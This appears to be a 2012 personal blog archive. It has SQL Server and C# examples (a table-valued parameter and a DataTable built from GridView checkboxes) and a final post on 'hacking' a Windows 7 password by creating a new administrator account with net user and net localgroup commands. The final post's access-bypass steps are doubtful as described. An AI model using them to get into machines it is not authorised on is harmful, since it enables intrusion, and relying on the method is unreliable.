Pass Table as a Parameter In SQL StoreProcedure

Tuesday, June 26, 2012

/* Create a table type. This table behave like a user define Variable */
create TYPE ASROYTableType AS TABLE
( sl INT
, tr VARCHAR(10)
 ,ptype nvarchar(2));
GO

/* Create a procedure to receive data for the table-valued parameter. */
CREATE PROCEDURE UpdatePrintSt
    (
    @TTP ASROYTableType READONLY
    --@type nvarchar(2)
    )
    AS
    begin
SET NOCOUNT ON
declare @pt nvarchar(2)
set @pt=(select top 1 ptype from @TTP)
--select @pt=tr from @TTP
if(@pt ='2')
update Tbl_Sap_master set prnt='Y'where TR_No in(select tr from @TTP)
else
update Inova_PIS_Master set prnt='Y'where TR_No in(select tr from @TTP)

    end


Create Dynamic Table on Selected CheckBox of a GridView

Monday, June 25, 2012

#region " Declare All "
    DataTable dtPrint = new DataTable();                                   // Create Table object
    Int32 no=1;
    Int32 i = 0;  

   DataColumn dc1=new DataColumn("sl",typeof(int));         //declare Column
   DataColumn dc2=new DataColumn("tr",typeof(string));
   dtPrint.Columns.Add(dc1);                                              // Add Column to tha Table
   dtPrint.Columns.Add(dc2);
   DataRow dr;                                                                   // Create dataRow Object

#endregion

# region " In the Event like- Button Click"

        foreach (GridViewRow gvr in grdUnPrinted.Rows)
        {
            CheckBox ckb=(CheckBox)gvr.FindControl("CheckBox1");
            if (ckb.Checked == true)
            {
           

                Label lbltrno=(Label)gvr.FindControl("lblTrNo");
                string trno=lbltrno.Text;

                dr = dtPrint.NewRow();
                dtPrint.Rows.Add(dr);

                //for(int i=0;i<10;i++)
                //{

                    dtPrint.Rows[i]["sl"] = no;
                    dtPrint.Rows[i]["tr"] = trno;
                    i++;

                //}
                    no++;
            }
        }
#endregion

Hack / Break Password of a Windows 7 PC

Friday, June 15, 2012
At the time of Start up, when the black screen was display,
1.  Press F8 for Start with Command Prompt.
2. Then Follows those underlying command for Create a new User with Admin privilege :

net user Antahin abhirup /ADD /FULLNAME:"Abhirup Sinha Roy" /COMMENT:"Created By Abhi"
 /ACTIVE:Yes /PASSWORDCHG:NO /EXPIRES:NEVER
net localgroup "Administrators" Antahin /add
wmic useraccount where "name='Antahin'" set PasswordExpires=False

* Antahin = user name & abhirup = password